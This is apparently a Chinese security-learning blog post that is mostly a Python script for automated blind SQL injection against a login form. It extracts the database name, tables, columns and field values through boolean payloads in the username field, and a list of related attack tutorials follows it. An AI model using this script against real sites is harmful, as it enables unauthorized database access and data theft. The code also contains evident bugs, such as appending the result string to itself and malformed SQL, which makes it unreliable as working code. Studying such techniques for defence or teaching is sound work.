从零开始学安全(三十五)●mysql 盲注手工自定义python脚本
import requests import string #mysql 手动注入 通用脚本 适用盲注 可以跟具自己的需求更改 def home(): url="url" list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?" s=requests.session() success = "" # 成功返回的特征 error="" #失败返回的体征 # 1.拿到当前连接数据库长度 leng=0 i=0 while True: sql="admin%1$\\' or length(database())>"+str(i)+"#" data={"username":sql,"passwrod":1} r=s.post(url,data=data).content if error in r : leng=i i=0 break i+=1 print ("length the database:%d" %leng) #2.拿到当前连接数据库名 strs='' for t in range(leng): for l in list: sql="admin%1$\\' or ascii(substr(database(),"+str(t)+",1))="+str(ord(l))+"#" data = {"username": sql, "passwrod": 1} r=s.post(url,data=data).content if success in r: strs+=strs break print("database is :%s" % (strs)) #3.拿当前数据库里面的所有表 #拿到数据库表添加的长度 while True: sql="admin%1$\\' or select length(group_concat(table_name)) from information_schema.tables where table_type='base table' and table_schema=database()<"+i+"#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if error in r: leng=i i=0 break i+=1 print("length table is :%s" % (leng)) #返回所有表 for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select group_concat(table_name) from information_schema.tables where table_type='base table' and table_schema=database(),"+str(t)+",1))="+str(ord(l))+"#" data = {"username": sql, "passwrod": 1} r=s.post(url,data=data).content if success in r: strs+=strs break print("talbes is :%s" % (strs)) #4.选择先要查询的表 返回表所有字段 #返回长度 table='table'#要查找的表名 tablename = '0x' + table.encode('hex') table_name = table while True: sql = "admin%1$\\' or select length(group_concat(column_name)) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()<" + i + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if error in r: leng = i i = 0 break i += 1 print("length table is :%s" % (leng)) # 返回所有表 for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()," + str( t) + ",1))=" + str(ord(l)) + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if success in r: strs += strs break print("talbes is :%s" % (strs)) # 5.返回相应字段里面的值 num=0 while True: sql = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#" data = {'username':sql,'password':1} r = s.post(url,data=data).content if error in r: num = i i=0 break i+=1 pass print("[+]number(column): %d" %(num)) # 返回长度 table = 'table' # 要查找的表名 col='user'#要返回的字段 for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select "+col+" from limit 0,1 "+table_name+","+str(t)+",1))=" + str(ord(l)) + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if success in r: strs += strs break print("talbes is :%s" % (strs))
从零开始学安全(三十五)●mysql 盲注手工自定义python脚本的更多相关文章
- 从零开始学安全(三十)●使用sqlmap对网站一步步渗透
常规注入步骤第一步注入点-u "url" 判断是否是注入点 有就判断用户的权限第二步获取数据库 所有的 -u "url" --dbs第三步 查看应用程序所有数据 ...
- Python学习日记(三十五) Mysql数据库篇 三
使用Navicate 创建一个连接去使用Mysql的数据库,连接名可以取任意字符但是要有意义 新增一个数据库 填写新数据库名,设置它的字符集和排序规则 新建一个表 增加表中的信息 点击保存再去输入表名 ...
- 三十五.MySQL读写分离 MySQL多实例 、MySQL性能调优
1.实现MySQL读写分离 搭建一主一从结构 配置maxscale代理服务器 测试分离配置 1.1 搭建一主一从结构 192.168.4.51 主 192.168.4.52 从 测试OK 1. ...
- 从零开始学安全(四十五)●browser_autopwn2漏洞利用配合Ettercap工具实施DNS欺骗攻击
系统:kali 2019 工具Ettercap,Metasploit 环境内网地址 首先 cd /etc/ettercap/ 移动在ettercap 文件下 在用vim 打开编辑 etter.dns ...
- 从零开始学安全(三十九)●FCK编辑器解析漏洞
fck 现在存在漏洞的本版分别是 2.4.2 ,2.4.4,2.6.6 可以在 查看版本 2.4.2 在 图片域有上传点 2.4.4 这里有几个按钮,首先是 Get Folders and Files ...
- 从零开始学安全(三十八)●cobaltstrike生成木马抓肉鸡
链接:https://pan.baidu.com/s/1qstCSM9nO95tFGBsnYFYZw 提取码:w6ih 上面是工具 需要java jdk 在1.8.5 以上 实验环境windows ...
- 从零开始学安全(三十六)●利用python 爆破form表单
import sys import requests from requests.auth import HTTPBasicAuth def Brute_Force_Web(postData): re ...
- 从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli
先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该 ...
- 从零开始学安全(二十五)●用nmap做端口扫描
以上是常用的端口扫描 -T 用法 每个级别发包时间 当没有使用T 时默认的使用T3级别发包 半开扫描 先探测主机是否存活 再用-sS 扫描端口 容易造成syn 包攻击 就是利用僵尸主机 进 ...
随机推荐
- linux 使用sh@d0ws0cks client
Linux Centos7下安装使用Shadowsocks客户端,实现*** 准备 SS: 搭建一个可以连接外网的服务器 教程可见 自己动手搭梯子 服务器:本人用的腾讯云服务器,系统为Centos7 ...
- 虚拟机桥接模式联网方法,Xshell的连接与使用
1.虚拟机的编辑中的虚拟网络编译器,新建一个VMnet0,选择桥接模式,选择上网时的网卡. 2.虚拟机 -> 设置 -> 网络适配器,选择启动时连接,桥接模式,复制物理网络连接状态. 3. ...
- 限制oracle某用户仅能从某IP登录
system用户创建触发器,登录后触发检查 CREATE OR REPLACE TRIGGER system.check_ip_addresses_test AFTER logon ON DATABA ...
- Java 2018 面试
1.Java的引用有什么作用?传递的是什么? Java的引用可以用来操作对象,传递的是对象的地址 2.引用分为几种?他们的区别是什么?弱引用用在什么地方? 分四种:强引用 . 软引用 . 弱引用 . ...
- 算法与数据结构(十一) 平衡二叉树(AVL树)(Swift版)
今天的博客是在上一篇博客的基础上进行的延伸.上一篇博客我们主要聊了二叉排序树,详情请戳<二叉排序树的查找.插入与删除>.本篇博客我们就在二叉排序树的基础上来聊聊平衡二叉树,也叫AVL树,A ...
- Python爬虫7-Cookie & Session
GitHub代码练习地址:1.手动利用cookie访问网页:https://github.com/Neo-ML/PythonPractice/blob/master/SpiderPrac10_cook ...
- [Swift]LeetCode958. 二叉树的完全性检验 | Check Completeness of a Binary Tree
Given a binary tree, determine if it is a complete binary tree. Definition of a complete binary tree ...
- 破解第一课:NOP绕过登录界面
第一步 打开软件,任意输入密码,提示“用户密码错误还有2次机会” 第二步 OD载入软件,右键-----中文搜索引擎---智能搜索 按下CTRL+F,打开查找,输入“密码错误”,在结果中双击找到的结果 ...
- 如何更简单方便地执行SQL操作?
现在公司使用mybatis作为DAL层的框架. 使用起来比较简单,使用xml进行SQL的书写,java代码使用接口执行. 但在写一些简单SQL的时候会显得非常繁琐: xml和java分离(设计上为了解 ...
- Python内置函数(65)——type
英文文档: class type(object) class type(name, bases, dict) With one argument, return the type of an obje ...